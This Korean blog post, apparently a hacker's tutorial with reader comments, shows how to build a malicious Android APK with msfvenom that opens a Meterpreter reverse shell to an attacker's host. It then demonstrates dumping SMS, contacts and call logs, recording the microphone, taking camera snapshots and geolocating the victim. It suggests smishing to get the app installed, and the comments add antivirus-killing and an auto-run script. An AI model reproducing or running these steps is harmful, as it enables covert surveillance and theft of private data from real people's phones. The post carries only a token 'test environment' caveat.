대체로 linux, unix, windows 시스템에 대해 테스트를 하고 shell 을 삽입 했었는데, Android 에서 작동하는 Meterpreter shell 은 어떨까? 라는 생각이 들어 해보았습니다.
일단 간단하게 msfvenom을 이용하여 악성 apk 파일을 생성합니다. venom을 통해 생성한 악성파일은 인코딩 과정없이 Payload를 그대로 APK로 만들었기 때문에 백신에는 거의 100퍼 탐지되겠죠..
아무튼 APK를 생성합니다.
MSFVENOM을 이용한 Android remote shell apk 생성
# hvenom -p android/meterpreter/reverse_tcp LHOST=***.***.***.*** LPORT=4444 R > test_shell.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8199 bytes
생성한 APK를 Android Device 에 설치합니다. 설치 과정은 알아서..
Exploit 을 하셔도 좋고, 스미싱이나 다운로드 유도를 통해 설치해도 좋습니다.
(테스트 환경에서만 하세요. 실제로 하면 쇠고랑차요)
배포 전 metasploit 에서는 handler 를 통해 대기모드로 전환시킵니다.
불론 bind shell 을 사용하셨다면 상관없지요.
hahwul #> use exploit/multi/handler
세팅하실 거 세팅하시고..
hahwul exploit(handler) #> run
[-] Handler failed to bind to ***.***.***.***:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Sending stage (50643 bytes) to ***.***.***.***
[*] Meterpreter session 1 opened (***.***.***.***:4444 -> ***.***.***.***:51788) at 2015-08-03 15:39:50 +0900
대기 전환합니다. 그리고 Android Devices 에서 접근 시 Remote Shell 로 연결됩니다.
대충 정보 확인 후 명령 알아보겠습니다.
meterpreter > pwd
/data/data/com.metasploit.stage
meterpreter > sysinfo
Computer : localhost
OS : Android 5.0.1 - Linux 3.10.40-4192068 (armv7l)
Meterpreter : java/android
Metepreter Shell (Android) Command
Metepreter shell(Android) 특수 명령입니다.
기본적인 metepreter shell 명령 및 시스템 명령 말고도 android 에 특화된 명령 사용이 가능합니다. 주로 흥미를 가질 명령을 보면 Webcam , 녹음 및 정보 탈취 명령에 대해서 보겠습니다.
Android Command
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
+ record_mic는 지정한 시간동안 휴대폰 마이크를 통해 주변 소리를 녹음합니다.
webcam_chat Start a video chat
+ 확인해보지 않아서 잘은 모르겠어요.. video chat을 시작합니다.
webcam_list List webcams
+ webcam 리스트를 확인합니다.
webcam_snap Take a snapshot from the specified webcam
+ 카메라를 통해 캡쳐를 한 후 공격자에게 전달합니다.
webcam_stream Play a video stream from the specified webcam
+ 카메라를 통해 연속적인 스트림(영상)으로 공격자에게 전달합니다(html 형식으로 떨어짐)
Android Commands
================
Command Description
------- -----------
check_root Check if device is rooted
+ Rooting 여부를 확인합니다. 정확하지 않을때가 있어요.
dump_calllog Get call log
+ 전화 송/수신 로그를 덤프합니다. 공격자 PC로 바로 떨어집니다.
dump_contacts Get contacts list
+ 전화번호후 리스트를 덤프합니다. 공격자 PC로 바로 떨어집니다.
dump_sms Get sms messages
+ SMS 문자 내역을 덤프합니다. 공격자 PC로 바로 떨어집니다.
geolocate Get current lat-long using geolocation
+ Target Android Devices 의 위치정보(위도,경도) 및 google map 주소를 제공합니다.
기능 사용 시 아래와 같습니다.
meterpreter > dump_calllog
[*] Fetching 13 entries
[*] Call log saved to calllog_dump_20150803154416.txt
meterpreter > dump_contacts
[*] Fetching 1 contact into list
[*] Contacts list saved to: contacts_dump_20150803154419.txt
meterpreter > geolocate
[*] Current Location:
Latitude: 위치정보..
Longitude: 위치정보..
![]() |
HAHWULSecurity engineer, Gopher and H4cker! |
잘 보고 갑니다. ^^
ReplyDelete영화 Open Windows(2014) 를 보면, 개인 PC 와 mobile device 해킹 관련 장면이 나오는데
그걸 보고 이 내용을 보니 더 재밌는 것 같습니다. ^^
METEPRETER SHELL 을 GUI 로 만들어서 사용하는 것 같은 장면이 있거든요 ^^;
궁금하신 분들을 위해 유튜브에 있는 trailer 영상 주소 남겨드립니다 ㅎㅎ
https://www.youtube.com/watch?v=_Qz7DDvTA-I
좋은 내용 감사합니다 :)
ReplyDelete댓글 로그인 후 작성해주셔도 좋아요
msfconsole 에서 설정할껀
ReplyDeleteuse exploit/multi/handler 와
set payload android/meterpreter/reverse_tcp 와
set LHOST와
set LPORT 밖에없죠?
넵 위의 시나리오로는 말씀주신 내용만 설정에 들어가면 됩니다.
ReplyDeletehandler(exploit/multi/handler) 사용 후 APK에 적용한 Payload로 세팅하신 다음
show options 을 통해 옵션을 보시면 LHOST랑 LPORT 정보가 비어있는 것을 알 수 있습니다.
이게 reverse 쉘이기 때문에 APK가 연결할 서버 포트 정보 등을 세팅 해 주어야 handler에서 해당 포트를 대기상태로 두고 쉘의 요청을 기다릴 수 있지요.
안드로이드에 악성apk파일을 설치는했는데 실행이안되는건 왜그런걸까요?......아예 눌러도 반응이없네요
ReplyDeletemetasploit을 이용해서 생성한 apk(android payload) 는 별도의 activity 없이 reverse shell 연결 요청만 나갔던 것으로 기억나네요.
ReplyDelete앱 실행전에 pc(metasploit) 에러 handler를 통해 shell 요청에 대해 받아줘야 하는 부분이 있는데 , 정상적으로 handler를 실행했다면
네트워크 문제 or 생성된 앱 정상 구동 여부를 확인해 봐야할 것 같습니닷..
일단 어떤 상태인지 정확하게 파악이 안되어서 남겨주신 댓글 내용만 가지고는 판단이 어렵네요..
핸드폰에 apk 파일을 설치하니 세션이 오픈됐는데 폰에있는 백신프로그램때문에 금방 다이가 되는데 안드로이드 인코딩하는 방법 알수있을까요?
ReplyDeletemetasploit에서 제공하는 encoder는 대부분 exe, elf 관련 encoder이구요. 별도로 난독화,백신우회 앱을 만들어서 침투 후 msf payload를 로드하는게 좋을 것 같습니다.
Delete요즘 백신들이 굉장히 센서티브하게 잡습니다.
(일반적인 앱도 백신에서 의심사항으로 탐지하는 경우가 많습니다.)
테스트하시는거면 잠시 off하거나 예외처리하고 해주시면되고, 혹여나 모의해킹처럼 실제 공격 형태로 사용된다면..
exploit이나 미리 만든 앱으로 kill av(백신) 하고 세션 연결하는게 조금 더 안전하게 쉘 세션을 얻어가지 않을까 싶네요.
모바일 백신 까다롭죠..다만 설치율이 매우 낮은게 굳이 장점이라면 장점이겠구요.
마무리하자면 metasploit payload 파일을 침투의 시작점으로 쓰기엔 백신의 벽을 넘기는 힘듭니다. 제 생각에는 무언가 선행되는 액션이 있어야할 것 같습니다.
.rc파일생성은어떻게하나요
ReplyDeleteMetasploit 에서의 .rc 파일이면 AutoRunScript 말씀주신건가요?
Deletevim이나 nano 등 텍스트 편집기로 직접 작성해주시면 됩니다. 내용에는 아래와 같이 msf의 모듈이 들어가게 됩니다.
#> vim /root/AutoShell.rc
run post/windows/manage/migrate
run post/windows/manage/killav
run post/windows/gather/checkvm
그래서 이 파일을 msf 에서 이런식으로 불러와준 후 사용하시면 여러가지 작업을 자동으로 처리할 수 있지요. (AutoShell.rc는 만든 .rc 파일)
hahwul exploit(handler) #> set AutoRunScript multi_console_command -rc /root/AutoShell.rc
아래 링크 참고해주세요~
http://www.hahwul.com/2015/08/metasploit-metasploit-autorunscript.html